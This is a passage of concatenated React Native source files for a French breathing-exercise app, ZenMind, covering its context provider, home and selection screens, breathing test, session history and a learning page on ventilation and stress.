icons:"#FFB7A8" }, palette3: { button:"#FFFFFF", text:"#000000", icons:"#000000" }, palette4:{ button:"#DEF7FF", text:"#24442A", icons:"#24442A" } } //Messages : const messages = ["Calme, sérénité, force intérieure sont là !"] function updateFeedback(){ setFeedback({date:new Date(),value:valueFeedback}) setFeedbackHistory([...feedbackHistory,{...feedback}]) return [...feedbackHistory,{...feedback}] //Si valueFeedback est null ? } //Fonctions return ( <ZenContext.Provider value={{inspiration, expiration,breathStart, updateBreathStart,updateInspirationIsActive,updateExpirationIsActive,inspirationIsActive,expirationIsActive, etat, updateInspiration,updateExpiration,updateTypeDeRespiration, updateEtat,typeDeRespiration, nombreRound, updatenombreRound,apnée, updateApnée, updateApnéeSauvegarde,inspirationSauvegarde,expirationSauvegarde,apnéeSauvegarde, updateInspirationSauvegarde,updateExpirationSauvegarde,messages,apnéeSauvegarde, numberOfRound, updateNumberOfRound,MMKV,valueFeedback,updateValueFeedback,feedback,setFeedback,updateFeedback,breathList, setBreathList,nameBreath, setNameBreath,numberCycle, setNumberCycle,Test, setTest,palettes}}> {children} </ZenContext.Provider> ); }; export default ZenProvider;<file_sep>/Component/Home/Line.js import { useNavigation } from '@react-navigation/core'; import React, { useContext, useState } from 'react'; import { Button, Image, Pressable, StyleSheet, Text, View } from 'react-native'; import { ZenContext } from '../context/zenMindContext'; import TimeChoice from './timeChoice'; import { SvgUri } from 'react-native-svg'; import Breathing from './../SVG/Breathing'; function LineSettings({image,text, unité}) { const navigation=useNavigation(); let [Check, updateCheck] = useState(false); let {inspirationSauvegarde,expirationSauvegarde,apnéeSauvegarde, nombreRound} = useContext(ZenContext) return( <View style={styles.bigContainer}> <View style={styles.line}> <View style={styles.little_Line}> <Breathing/> <Text style={{marginLeft:40, fontSize:14}}>{text}</Text> </View> <TimeChoice text={text}/> </View> </View> ) } export default LineSettings; const styles = StyleSheet.create({ counter:{ color:"blue", borderColor:'black', borderWidth:1, borderRadius:5, paddingRight:15, paddingLeft:15, paddingBottom:5, paddingTop:5, display:'flex', justifyContent:'center', alignItems:'center' }, line:{ display:"flex", flexDirection:"row", justifyContent:"flex-start", alignItems:'center', height:52, marginTop:15, backgroundColor:'white', width:'100%', borderRadius:15, }, bigContainer:{ width:"90%", display:'flex', justifyContent:'center', alignItems:"center", height:"6.12%", marginVertical:"3%" }, column:{ width:"35%", display:'flex', justifyContent:'space-around', alignItems:'center', flexDirection:'row' }, text:{ width:'100%', textAlign:'center' }, unit:{ position:'relative', bottom:-20 }, rightContainer:{ display:'flex', justifyContent:'flex-end', alignItems:'flex-end', width:"100%", backgroundColor:'white', padding:30, position:'relative', bottom:25, borderRadius:15, }, right:{ borderColor:'#007AFF', borderWidth:1, padding:10, borderRadius:5, backgroundColor:'white', }, rightText:{ color:'#007AFF', }, view:{ width:"100%", display:'flex', justifyContent:'space-around', flexDirection:'row', height:"auto" }, image:{ height:50, width:50, overflow:'visible' }, little_Line:{ width:"40%", display:'flex', justifyContent:'center', alignItems:'center', flexDirection:'row' } })<file_sep>/Component/Apprendre/Apprendre.js import React, { Component } from 'react'; import { StyleSheet, Platform, Share, Linking, View, Text, FlatList, ScrollView } from 'react-native'; import TextLearn from './TextLearn'; export default function Apprendre() { let tableauComponent = [] const text = [ [["bold_1","1. Pour une meilleure compréhension, sur cette application nous parlons de respiration. Cependant, ces dites respirations sont en réalité des ventilations."], ["p_2","Le terme ventilation définis dans le médical, l’apport en l'air frais dans les poumons. Les zones conductrices des poumons impliquées dans la ventilation sont le nez, le pharynx, le larynx, la trachée, les bronches primaires, les arbres bronchiques et les bronchioles terminales."], ["p_3","À savoir, l'inspiration et l'expiration sont les deux événements différents de la ventilation. Tout au long de cette documentation, le terme ventilation sera utilisé de manière à transmettre l’information avec plus d’exactitude."], ["space",""]], [["bold_1","2. On oublie trop souvent que la ventilation est l’action qui rythme notre vie, du premier battement de notre cœur jusqu’au dernier. Ainsi, il semble logique que cette dernière influe fortement sur nos émotions, nos actions ou sur notre bien-être."], ["p_2","La respiration est intimement liée à nos émotions et il est important d’en avoir le contrôle durant notre vie. Que ce soit du stress, de l’énergie, ou du repos, la respiration peut avoir une forte influence sur votre bien-être."], ["p_3","Parmi le panel d’émotions néfastes qui existe, le stress est malheureusement trop souvent sous-estimé. En effet, le corps en réaction au stress sécrète une hormone nommée le cortisol. Cette hormone intervient dans la gestion du stress par l’organisme (adaptation de l’organisme au stress) et permet une libération de sucre à partir des réserves de l’organisme pour répondre à une demande accentuée en énergie pour les muscles, le cœur, le cerveau."]], [["bold_1","3. Comment fonctionne le test de respiration et comment évalue t-il ma progression ?"], ["p_2","En moyenne, une personne réalise 12 cycles de ventilation par minute. Cependant avec le stress et la tension, notre corps a tendance à se mettre dans une situation d'hyper ventilation de manière à rendre le corps plus réactif et plus vif. Cependant sur le long terme cette situation d’hyper ventilation est usante pour le corps humain."], ["p_3","C’est donc grâce à cette mécanique que le test de respiration peut évaluer de votre niveau de stress ou de votre tension en comptabilisant votre nombre de cycles de ventilation par minute. A condition de bien respecter les indications de manière à ne pas biaiser le test."], ["p_4","4. Avant de vous lancer dans la ventilation, il est important de savoir quels sont les risques de la pratique. Mal exercée ou dans un cadre non approprié, la ventilation peut causer de graves dégâts."]], [["bold_1","4. Avant de vous lancer dans la ventilation, il est important de savoir quels sont les risques de la pratique. Mal exercée ou dans un cadre non approprié, la ventilation peut causer de graves dégâts."], ["space_2","Voici quelques règles de précautions :"], ["space_3","De préférence, ne soyez pas trop isolé lorsque vous réalisez une nouvelle séance de respiration."], ["space_4","Si vous commencez à avoir le moindre symptôme, interrompez votre session et si cela persiste consultez un professionnel."], ["space_5","Lorsque vous paramétrez une nouvelle séance de ventilation, faites bien attention à ce que les durées soient raisonnables ou atteignables."]], [["space_1","Vous pourrez retrouver plus d’informations ou entrer en contact avec des experts spécialisé sur le site de ZenMind :"], ["website","https://zen-mind.fr/"]]] for (let tab of text) { for (let [clef, valeur] of tab){ console.log(clef) let splitClef = clef.split('_') tableauComponent.push(<TextLearn text={valeur} style={splitClef[0]}/>) } } return ( <ScrollView style={styles.container}> <Text style={{fontSize:24,fontWeight:"bold",textAlign:'center',marginTop:20}}>Apprendre à respirer</Text> <TextLearn text="Il est bon de savoir." style="title"></TextLearn> {tableauComponent.map((item)=>{ return item })} </ScrollView> ); } const styles = StyleSheet.create({ container: { width: '100%', height: '100%', }, text: { width:"85%", marginHorizontal:"7%", marginTop:10, fontSize:14 }, }); <file_sep>/Component/Home/Selection.js import { useNavigation } from '@react-navigation/core'; import React,{useState} from 'react'; import Stress from './../../images/Stress.jpg' import { Pressable, StyleSheet, Text, ImageBackground } from 'react-native'; import { ZenContext } from '../context/zenMindContext'; import Energie from "./../../images/energiser.jpg" import Perso from "./../../images/perso.jpg" import Endurance from "./../../images/endurance.jpg" const Selectionnable = ({name="Selectionnable",inspi,expi,round,type,destination,apnée})=> { let {updateInspirationSauvegarde, updateExpirationSauvegarde,updateApnéeSauvegarde,updatenombreRound,updateTypeDeRespiration,updateInspiration,updateExpiration,updateApnée} = React.useContext(ZenContext) const [image,setImage] = useState(Energie) const navigation = useNavigation(); return( <Pressable style={styles.square} onPress={ ()=>{ if(type===0) { console.log('rounds') console.log(round) updateInspirationSauvegarde(inspi) updateExpirationSauvegarde(expi) updatenombreRound(round) updateTypeDeRespiration(type) updateInspiration(inspi) updateExpiration(expi) navigation.navigate(destination, {title:name}); } else if (type===1 || type===2 || type===3) { updateInspirationSauvegarde(inspi) updateExpirationSauvegarde(expi) updatenombreRound(round) updateApnéeSauvegarde(apnée) updateInspiration(inspi) updateExpiration(expi) updateApnée(apnée) updateTypeDeRespiration(type) navigation.navigate(destination,{title:name}); } else{ console.log(name) updatenombreRound(round) navigation.navigate({destination}); } } }> <ImageBackground style={{width:"100%", height:"100%"}} source={name==="Respirer pour …\ngagner en énergie" ? Energie : name==="Personnaliser vos séances"?Perso:name==="Respirer pour …\nrécupérer"?Endurance:name==='Respirer pour …\ngérer son stress'?Stress : Endurance}> <Text style={styles.text}>{name}</Text> {name!= "Personnaliser vos séances" && <Text style={styles.time}>{Math.trunc(type === 0 ?((inspi+expi+apnée)*round)/60: type=== 3 ?((inspi+expi+(apnée*2))*round)/60:((inspi+expi+apnée)*round)/60)} min</Text>} </ImageBackground> </Pressable> ) } export default Selectionnable; const styles = StyleSheet.create({ square:{ height:300, width:"40%", backgroundColor:'white', marginTop:15, marginBottom:15, marginHorizontal:'5%', display:'flex', justifyContent:'flex-start', alignItems:"center", borderRadius:7, }, text:{ marginTop:20, color:'black', textAlign:'center', }, time:{ position:'absolute', color:'white', bottom:20, textAlign:'center', width:'100%' } })<file_sep>/Component/Home/Goal.js import { useNavigation } from '@react-navigation/core'; import React from 'react'; import { Pressable, StyleSheet, Text, View } from 'react-native'; const Goal = ()=> { const navigation = useNavigation(); return( <View> <Pressable style={styles.square} onPress={ ()=>{ navigation.navigate('Hello'); } }> <Text>Goal ! </Text> </Pressable> </View> ) } export default Goal; const styles = StyleSheet.create({ square:{ height:100, width:100, backgroundColor:'white' } })<file_sep>/Component/saveRespiration/FootPart.js import React from 'react'; import { StyleSheet , View, Text } from 'react-native'; import Dropdown from '../test_setTimer/Picker'; import LineSettings from '../Home/Line'; import Breathing from './../../images/breathing.svg'; import Expiration from './../../images/sneeze.svg'; import Loading from './../../images/loading.svg'; import Pressable from 'react-native/Libraries/Components/Pressable/Pressable'; function FootPart(){ return( <View style={styles.view}> <Text style={styles.title}>Rappel de la session enregistrée</Text> <Dropdown/> <LineSettings image={Breathing} text="inspiration"/> <LineSettings image={Expiration} text="expiration"/> <LineSettings image={Loading} text="rounds" unité="rounds"/> <Pressable style={styles.button}><Text>Sauvegarder</Text></Pressable> <View style={{height:40}}></View> </View> ); } const styles = StyleSheet.create({ input:{ backgroundColor:'#FFE4DB', color:'black', }, view:{ backgroundColor:'#FDF1ED', height:"60%", paddingTop:'10%', display:'flex', justifyContent:"center", alignItems:'center', }, title:{ fontSize:22, fontWeight:'bold', marginBottom:30 }, button:{ width:200, height:40, backgroundColor:"#FFB7A8", borderRadius:7, display:'flex', justifyContent:'center', alignItems:'center', marginTop:30 } }) export default FootPart;<file_sep>/Component/Test respiration/Header.js import React, { useContext, useState } from 'react'; import {Pressable, StyleSheet, Text,View} from 'react-native'; import ProgressBar from './progressBar'; import Ionicons from 'react-native-vector-icons/Ionicons'; import InfoModal from '../Modal/infoModal'; export default function Head({boolTest,progress}){ const [infoModalVisibility,updateInfoModalVisibility] = useState(false) return( <> <View> <Pressable onPress={()=>updateInfoModalVisibility(true)}> {boolTest===false && <Ionicons name="ios-information-circle" style={{fontSize:40, color:'#3A8DAA', marginTop:20,marginLeft:"80%"}}/>} </Pressable> <Text style={styles.title}>Testez votre respiration</Text> <Text style={styles.subtitle}>Respirez normalement pendant 1 minute</Text> {boolTest===true&&<ProgressBar progress={progress}/>} </View> <InfoModal visibility={infoModalVisibility} onPress={()=>updateInfoModalVisibility(false)}/> </> ); } const styles = StyleSheet.create({ container:{ width:'100%', display:'flex', justifyContent:'center', alignItems:'center' }, title:{ fontSize:30, marginTop:50, textAlign:'center' }, subtitle:{ fontSize:16, textAlign:'center' } })<file_sep>/Component/Home/useEffect(()=>{.js useEffect(()=>{ if(numberOfRound !== nombreRound) { if(typeDeRespiration!= 0){ Animated.loop( Animated.sequence([ Animated.timing( progress, { toValue: 1, duration: inspirationSauvegarde*1000, easing: Easing.linear() } ), Animated.timing( progress, { toValue: 1, duration: apnéeSauvegarde*1000, easing: Easing.linear() } ), Animated.timing( progress, { toValue: 0, duration: expirationSauvegarde*1000, easing: Easing.linear() } ) ])).start(); } else{ Animated.loop( Animated.sequence([ Animated.timing( progress, { toValue: 1, duration: (inspirationSauvegarde*1000 +2000), //easing: Easing.linear() } ), Animated.timing( progress, { toValue: 0, duration: expirationSauvegarde*1000 +2000, //easing: Easing.linear() } ) ])).start(); } }else { loopBoolUpdate(false); } }, [])<file_sep>/Component/Home/Background.js import React, { useContext, useState, useEffect } from 'react'; import { Button, ImageBackground, StyleSheet, Text, View } from 'react-native'; import Background from './../../images/bg2.png' import { ZenContext } from '../context/zenMindContext'; import HomePanel from '../Home_panel/HomePanel'; import { FlatList } from 'react-native-gesture-handler'; import { useIsFocused } from '@react-navigation/native'; import Lancement from '../Lancement/Lancement'; function BackgroundD(){ let {breathList, setBreathList} = useContext(ZenContext); breathList===undefined || breathList===null && setBreathList([{name:'Personnalisée'}]) const [list,setList] = useState(breathList); const isFocused = useIsFocused() const [firstLaunch, updateFirstLaunch] = useState(true) useEffect(()=>{ setList(breathList) console.log(breathList) },[isFocused]) useEffect(()=>{ setTimeout(()=>{ updateFirstLaunch(false) },3000) },[]) const rende = ({item})=>{ return( <HomePanel text={item.name==="Prenez l'air"?"Définir vos temps d’inspiration, d’expiration \net d’apnée":"Inspiration : "+item.inspi+" /Expiration : "+item.expi+" /Apnée : "+item.apnée} button={item.name==="Personnalisée"?'Libérer son souffle \n Bien respirer c’est bien vivre !':'Prenez le temps de souffler !'} destination={item.destination} type={item.type} inspi={item.inspi} expi={item.expi} round={item.round} apnée={item.apnée} title={item.name} data={item}/> ) } if(firstLaunch===true) { return(<Lancement/>) } else{ return( <View> <ImageBackground source={Background} style={styles.home}> {isFocused===true ?<FlatList data={list} renderItem={rende} horizontal style={{position:'absolute', bottom:20}} keyExtractor={(item,index)=>index.toString()} showsHorizontalScrollIndicator={false}/>:console.log('no error')} </ImageBackground> </View> ) } } export default BackgroundD; const styles = StyleSheet.create({ home:{ width:"100%", height:"100%", justifyContent:'center', alignItems:'center' } })<file_sep>/Component/Home/TimeChoice2.js // Inspiration: https://dribbble.com/shots/2343572-Countdown-timer // 👉 Output of the code: https://twitter.com/mironcatalin/status/1321856493382238208 import { transform } from '@babel/core'; import * as React from 'react'; import { Vibration, StatusBar, Easing, TextInput, Dimensions, Animated, TouchableOpacity, FlatList, Text, View, StyleSheet, } from 'react-native'; import { ZenContext } from '../context/zenMindContext'; const { width, height } = Dimensions.get('window'); const colors = { black: '#323F4E', red: '#F76A6A', text: '#ffffff', }; const timers = [...Array(59).keys()].map((i) => (i === 0 ? 1 : i +1)); const ITEM_SIZE = width * 0.34; const ITEM_SPACING = (width - ITEM_SIZE) / 2.5; export default function TimeChoice2({text, unité}) { const scrollX = React.useRef(new Animated.Value(0)).current const [duration, setDuration] = React.useState(timers[0]) let {updateInspirationSauvegarde, updateExpirationSauvegarde,updateApnéeSauvegarde,updatenombreRound} = React.useContext(ZenContext) //text==='round' ? updateUnit('rounds') : updateUnit(unité); return ( <View style={styles.container}> <StatusBar hidden /> <Animated.View style={[ StyleSheet.absoluteFillObject, { justifyContent: 'flex-end', alignItems: 'center', paddingBottom: 100, }, ]}> </Animated.View> <View style={styles.container2}> <Text style={styles.text_back}>{unité}</Text> <Animated.FlatList data={timers} keyExtractor={item => item.toString()} horizontal={true} bounces={false} onScroll={Animated.event( [{nativeEvent: {contentOffset:{x:scrollX}}}], {useNativeDriver: true} )} onMomentumScrollEnd={ev=>{ const index = Math.round(ev.nativeEvent.contentOffset.x/ITEM_SIZE) setDuration(timers[index]); console.log(text) switch(text){ case 'inspiration': updateInspirationSauvegarde(timers[index]); break; case 'expiration': updateExpirationSauvegarde(timers[index]); break; case 'apnée': updateApnéeSauvegarde(timers[index]); break; case 'rounds': updatenombreRound(timers[index]); break; } }} style={{flexGrow:0}} snapToInterval={ITEM_SIZE} decelerationRate='fast' showsHorizontalScrollIndicator={false} contentContainerStyle={{ paddingHorizontal: ITEM_SPACING }} renderItem={({item, index})=>{ const inputRange = [ (index - 1)*ITEM_SIZE, index*ITEM_SIZE, (index+1)*ITEM_SIZE ] const opacity = scrollX.interpolate({ inputRange, outputRange: [.4,1,.4] }) const scale = scrollX.interpolate({ inputRange, outputRange: [.7,1,.7] }) return <View style={{width: ITEM_SIZE, justifyContent:'center', alignItems:'center', }}> <Animated.Text style={[styles.text,{ opacity, transform:[{scale}] }]}> {item} </Animated.Text> </View> }} style={styles.text} /> </View> </View> ); } const styles = StyleSheet.create({ container: { height:"30%", display:'flex', backgroundColor: colors.text, justifyContent:'center', alignItems:'center', borderBottomEndRadius:15, borderBottomStartRadius:15, position:'relative', bottom:7, }, text: { fontSize: ITEM_SIZE * 0.2, fontFamily: 'Menlo', color: colors.black, fontWeight: '900', }, text_back:{ fontSize: ITEM_SIZE * 0.15, fontFamily: 'Menlo', color: colors.black, fontWeight: '900', marginTop:15, textAlign:'center', marginBottom:10 }, container2:{ width:"100%", justifyContent:'center', alignItems:'center', } });<file_sep>/Component/history/Line.js import React, {useContext, useState} from 'react'; import {StyleSheet, Text,View,Image} from 'react-native'; import { ZenContext } from '../context/zenMindContext'; import lightning from './../../images/lightning.png' import zen from './../../images/zen.png' import sleep from './../../images/sleep.png' import stress from './../../images/once.png' import other from './../../images/door.png' export default function Line({date,value,type, respi}){ const {palettes} = useContext(ZenContext) const bigdate = new Date(date); const mois = ['Janvier','Février','Mars','Avril','Mai','Juin','Juillet','Août','Septembre','Octobre','Novembre','Décembre'] const date2 = bigdate.getDate()+' '+mois[bigdate.getMonth()]; const date3 = bigdate.getFullYear(); return( <View style={type==="test" ? {...styles.line,borderBottomColor:palettes.paletteVerte.icons, borderBottomWidth:6} : styles.line}> <View> <Text style={{fontSize:18}}>{date2}</Text> <Text style={{fontSize:15, fontWeight:'bold'}}>{date3}</Text> </View> <Text>Respiration : {respi}</Text> {type==="test"? <Text style={{fontSize:14}}>Nombre de cycles : {value}</Text> : (value===1 ? <Image source={zen}/> : value===2 ? <Image source={sleep}/> : value===3 ? <Image source={lightning}/>: value===4 ? <Image source={stress}/>: <Image source={other}/>)} </View> ); } const styles = StyleSheet.create({ line:{ width:'95%', backgroundColor:"#DCDCDC", display:'flex', justifyContent:'space-around', alignItems:'center', marginTop:20, flexDirection:"row", padding:10, borderRadius:10, backgroundColor:"white" }, lineTest:{ width:'95%', backgroundColor:"#DCDCDC", display:'flex', justifyContent:'space-around', alignItems:'center', marginTop:20, flexDirection:"row", padding:10, borderRadius:10, backgroundColor:"white", } })<file_sep>/Component/Test respiration/Animations/Circle.js import React, { useEffect, useState } from 'react'; import LottieView from 'lottie-react-native'; import { View, Text, StyleSheet } from 'react-native'; export default function Circle({numberCycle}) { const [anim, setAnim] = useState() useEffect(()=>{ anim!=undefined && anim.play(0,100) },[numberCycle]) return ( <LottieView ref={animation => {setAnim(animation)}} source={require('./../../../images/circle.json')} style={styles.Circle} loop={false}/> ); } const styles = StyleSheet.create({ view:{ display:'flex', justifyContent:'center', alignItems:'center' }, Circle:{ width:"100%" } })<file_sep>/Component/saveRespiration/saveRespiration.js import React, { useContext, useEffect, useState } from 'react'; import { StyleSheet, Modal , View, Text, Image , Button } from 'react-native'; import FootPart from './FootPart'; import HeadPart from './headPart' function saveRespiration({route, navigation}){ console.log(route) let {apnée,expi,inspi,type} = route.params; return( <View> <HeadPart/> <FootPart inspi={inspi} expi={expi} apnée={apnée} type={type}/> </View> ) } export default saveRespiration;<file_sep>/Component/Home_panel/HomePanel.js import React,{ useContext, useEffect, useState } from "react"; import { Pressable, View, Text, StyleSheet } from 'react-native'; import { useNavigation } from "@react-navigation/core"; import { ZenContext } from "../context/zenMindContext"; function HomePanel({destination="Respiration",text,button, data}) { let {updateInspirationSauvegarde, updateExpirationSauvegarde,updateApnéeSauvegarde,updatenombreRound,updateTypeDeRespiration,updateInspiration,updateExpiration,updateApnée,palettes} = React.useContext(ZenContext) const navigation = useNavigation(); return( <View style={styles.bigView}> <View style={styles.background}> </View> <View style={styles.view}> <View> <Text style={styles.title}>{data.name}</Text> <Text style={styles.subtitle}>{text}</Text> </View> <Pressable onPress={()=>{ if(data.name!="Prenez l'air"){ if(data.type===0) { console.log('rounds') console.log(data.round) updateInspirationSauvegarde(data.inspi) updateExpirationSauvegarde(data.expi) updatenombreRound(data.round) updateTypeDeRespiration(data.type) updateInspiration(data.inspi) updateExpiration(data.expi) navigation.navigate(destination,{title:'Personnalisée'}); } else if (data.type===1 || data.type===2 || data.type===3) { updateInspirationSauvegarde(data.inspi) updateExpirationSauvegarde(data.expi) updatenombreRound(data.round) updateApnéeSauvegarde(data.apnée) updateInspiration(data.inspi) updateExpiration(data.expi) updateApnée(data.apnée) updateTypeDeRespiration(data.type) navigation.navigate(destination,{title:'Personnalisée'}); } else{ updatenombreRound(data.round) navigation.navigate({destination},{title:'Personnalisée'}); } } else{ navigation.navigate('Respiration') } }} style={{...styles.pressable,backgroundColor:palettes.paletteVerte.button}}> <Text style={styles.button}>{button}</Text> </Pressable> </View> </View> ) } export default HomePanel; const styles=StyleSheet.create({ view:{ width:350, height:154, display:'flex', justifyContent:"space-around", alignItems:'center', position:'absolute', bottom:10, }, subtitle:{ fontSize:14, color:'white', textAlign:'center', marginTop:6 }, background:{ backgroundColor:'#BDBDBD', width:350, height:154, opacity:0.3, borderRadius:10, position:'relative', left:10 }, pressable:{ width:"80%", height:40, borderRadius:7, display:'flex', justifyContent:'center' }, button:{ color:'#211E1D', textAlign:'center', fontWeight:"bold" }, title:{ fontSize:17, color:"white", fontWeight:'bold', textAlign:'center' }, bigView:{ width:350, height:154, marginRight:15, } })<file_sep>/Component/Home/choseRespiration.js import React, { useContext } from 'react'; import { StyleSheet, View, FlatList } from 'react-native'; import { ZenContext } from '../context/zenMindContext'; import Selectionnable from './Selection'; import Selection from './Selection'; function choseRespiration() { const RespirationArray = [{name:'Respirer pour …\ngagner en énergie',inspi:3,expi:2,type:0,round:60, destination:'Breath',apnée:0},{name:'Respirer pour …\nrécupérer',inspi:5,expi:10,type:0,round:9, destination:'Breath',apnée:20},{name:'Respirer pour …\ngérer son stress',inspi:5,expi:10,type:2,apnée:20,round:9, destination:'Breath'},{name:'Personnaliser vos séances',inspi:1,expi:1,type:1,round:1, destination:'Personnalisée',apnée:0}]; const render = ({item})=>{ console.log('respiration') console.log(item) return( <Selectionnable name={item.name} type={item.type} inspi={item.inspi} expi={item.expi} round={item.round} apnée={item.apnée} destination={item.destination}/> ) } return( <View style={styles.home}> <FlatList data={RespirationArray} renderItem={render} keyExtractor={(item,index)=>index.toString()} numColumns={2} columnWrapperStylem={{width:"100%"}}/> </View> ) } export default choseRespiration; const styles = StyleSheet.create({ home:{ width:"100%", height:"100%", display:'flex', justifyContent:'space-around', alignItems:'flex-start', flexWrap:'wrap', flexDirection:'row', } });<file_sep>/Component/SVG/Arrow.js import React from 'react'; import {Svg,Path,G} from 'react-native-svg'; import {View} from 'react-native' function Arrow(){ return( <Svg xmlns="http://www.w3.org/2000/svg" width="10%" height="16" fill="black" class="bi bi-caret-down-fill" viewBox="0 0 16 16"> <Path d="M7.247 11.14 2.451 5.658C1.885 5.013 2.345 4 3.204 4h9.592a1 1 0 0 1 .753 1.659l-4.796 5.48a1 1 0 0 1-1.506 0z"/> </Svg> ) } export default Arrow;<file_sep>/Component/Buttons/Button.js import { useNavigation } from "@react-navigation/core"; import React, { useContext } from "react"; import { Button, ImageBackground, Pressable, StyleSheet, Text } from "react-native"; import Sun from './../../images/sun.png'; import MMKVStorage, { useMMKVStorage } from "react-native-mmkv-storage"; import { ZenContext } from "../context/zenMindContext"; function ButtonLight({destination,text,onPress}) { const {palettes} = useContext(ZenContext) const navigation = useNavigation() return( <Pressable onPress={onPress} style={{...styles.backgroundButton,backgroundColor:palettes.paletteVerte.button}}> <Text style={{color:"black", fontWeight:'bold'}}>{text}</Text> </Pressable> ); } export default ButtonLight; const styles = StyleSheet.create({ backgroundButton:{ width:154, height:40, display:'flex', justifyContent:'center', alignItems:'center', position:'absolute', bottom:25, borderRadius:5 } })<file_sep>/Component/Test respiration/Animations/Yoga.js import React, { useEffect, useState } from 'react'; import LottieView from 'lottie-react-native'; import { View, Text, StyleSheet } from 'react-native'; export default function Yoga({boolTest}) { const [play,setPlay] = useState(boolTest) const [anim, setAnim] = useState() useEffect(()=>{ anim != undefined && boolTest===true && anim.play() },[boolTest]) return ( <LottieView ref={animation => {setAnim(animation)}} source={require('./../../../images/yoga.json')} style={styles.yoga} autoPlay={boolTest} loop={boolTest} /> ); } const styles = StyleSheet.create({ view:{ display:'flex', justifyContent:'center', alignItems:'center' }, yoga:{ position:'relative', bottom:200, width:"100%" } })<file_sep>/Component/saveRespiration/headPart.js import React, { useContext, useEffect, useState } from 'react'; import { StyleSheet, Modal , View, Text, Image , Button } from 'react-native'; import { ZenContext } from '../context/zenMindContext'; import settings from './../../images/settings.png' import Blob from './../../images/blob.png' import SliderComponent from './../Respiration/Slider_feedback/Slider'; import { TextInput } from 'react-native-gesture-handler'; function HeadPart(){ let [inputValue, setInputValue] = useState() return( <View style={styles.view}> <Text style={styles.title}>Sauvegarder ma session</Text> <Image source={Blob}/> <TextInput placeholder="Donnez un nom à votre respiration : " value={inputValue} onChange={(value)=>setInputValue(value)} placeholderTextColor='black' style={styles.input} style={styles.input}/> </View> ) } const styles = StyleSheet.create({ input:{ backgroundColor:'#FFE4DB', color:'black', width:"80%", borderRadius:4, }, view:{ backgroundColor:'#FFF', height:"40%", width:"99%", display:'flex', justifyContent:"center", alignItems:'center', borderRadius:15, }, title:{ fontSize:18, fontWeight:'bold' } }) export default HeadPart<file_sep>/Component/Test respiration/Cycle.js import React from 'react'; import LottieView from 'lottie-react-native'; import { View, Text, StyleSheet } from 'react-native'; export default class BasicExample extends React.Component { componentDidUpdate(){ this.animation.reset() this.animation.play(); setTimeout(()=>this.animation.reset(),1000) } render() { return ( <View style={styles.view}> <LottieView ref={animation => { this.animation = animation; }} source={require('./../../images/test.json')} style={{width:"100%"}} /> <Text>Touchez votre écran à la fin de chaque expiration.</Text> {this.props.boolTest===true && <Text>{this.props.numberCycle}</Text>} </View> ); } } const styles = StyleSheet.create({ view:{ display:'flex', justifyContent:'center', alignItems:'center' } })<file_sep>/Component/Home/Respiration.js import { useNavigation } from '@react-navigation/core'; import React from 'react'; import { Pressable, StyleSheet, Text, View } from 'react-native'; const Respiration = ({name})=> { const navigation = useNavigation(); return( <View> <Text>{name}</Text> </View> ) } export default Respiration; const styles = StyleSheet.create({ square:{ height:100, width:100, backgroundColor:'white' } })<file_sep>/App.js import React, {useContext} from 'react'; import ZenProvider from './Component/context/zenMindContext'; import EditInspiration from './Component/test_setTimer/editInspiration'; import { StyleSheet, Text, View } from 'react-native'; import TimerComponent from './Component/test_setTimer/timer'; import Home from './Component/Home/home'; import 'react-native-gesture-handler'; import { NavigationContainer } from '@react-navigation/native'; import { createBottomTabNavigator } from '@react-navigation/bottom-tabs'; import MMKVStorage, { useMMKVStorage } from "react-native-mmkv-storage"; import BackgroundD from './Component/Home/Background'; import History from './Component/history/history'; import Test from './Component/Test respiration/Test'; import AddToGCalendar from './Component/GoogleCalendar/AddToGoogleCalendar'; const Tab = createBottomTabNavigator(); export default function App() { return ( <ZenProvider> <NavigationContainer> <Tab.Navigator tabBarOptions={{activeBackgroundColor:'black', inactiveBackgroundColor:'black', activeTintColor:'#E6ADA1',inactiveTintColor:'white'}}> <Tab.Screen name="Home" component={Home} tabBarOptions={{activeBackgroundColor:'black'}}/> <Tab.Screen name="Historique" component={History} tabBarOptions={{activeBackgroundColor:'black'}}/> <Tab.Screen name="Test" component={Test} tabBarOptions={{activeBackgroundColor:'black'}}/> <Tab.Screen name="Calendar" component={AddToGCalendar} tabBarOptions={{activeBackgroundColor:'black'}}/> </Tab.Navigator> </NavigationContainer> </ZenProvider> ); } const styles = StyleSheet.create({ navbar:{ backgroundColor:'black' } })<file_sep>/Component/Apprendre/TextLearn.js import React, { Component } from 'react'; import { StyleSheet, Platform, Share, Linking, View, Text, FlatList, ScrollView } from 'react-native'; export default function TextLearn({text, style}) { return( <View style={{width:'90%', marginHorizontal:'5%'}}> <Text style={style==='bold'?styles.bold:style==="title"?styles.title:style==="p"?styles.p:styles.space}> {text} </Text> </View> ); } const styles = StyleSheet.create({ bold:{ fontSize:18, fontWeight:'bold', marginTop:20, marginBottom:10, textAlign:'justify' }, title:{ fontSize:22, marginBottom:10, textAlign:'justify' }, p:{ fontSize:16, marginBottom:10, textAlign:'justify' }, space:{ fontSize:16, textAlign:'justify' } }); <file_sep>/Component/history/history.js import React, { useContext, useEffect, useState } from 'react'; import { StyleSheet, Text,Image } from 'react-native'; import { useMMKVStorage } from "react-native-mmkv-storage"; import { ZenContext } from '../context/zenMindContext'; import Line from './Line' import LottieView from 'lottie-react-native'; import { ScrollView } from 'react-native'; import Perso from "./../../images/Dame.jpg"; export default function History(){ const {MMKV} = useContext(ZenContext) const [feedbackHistory, setFeedbackHistory] = useMMKVStorage("historique", MMKV); //const [testHistory, setTestHistory] = useMMKVStorage("Test", MMKV); const [bool, setBool] = useState(TestFeedback()===false ? true : false) function TestFeedback(){ if(feedbackHistory === null || feedbackHistory.length ===0||feedbackHistory===undefined) { return false; } else { return true; } } useEffect(()=>{ console.log("feedbackHistory"); console.log( feedbackHistory) console.log( TestFeedback()) console.log("feedbackHistory fin"); if(feedbackHistory===undefined || feedbackHistory === null){ setFeedbackHistory([]) } }) return( <ScrollView contentContainerStyle={{...styles.history}} style={{height:'100%'}} > <Text style={styles.title}>Historique</Text> {TestFeedback() === true && <Image source={Perso} style={{width:"90%",height:300}}/>} {TestFeedback() === true && feedbackHistory.slice(0).reverse().map((history,index)=><Line date={history.date} value={history.value} type={history.type} index={index} respi={history.typeRespiration}/>)} {TestFeedback() === false ? <LottieView source={require('./../../images/empty.json')} style={{width:"100%", marginTop:10}} autoPlay loop/> : console.log('error')} {TestFeedback() === false && <Text>Il semblerait que votre historique est vide :/</Text>} </ScrollView> ); } const styles = StyleSheet.create({ history:{ display:'flex', justifyContent:'flex-start', alignItems:'center', }, title:{ fontSize:24, 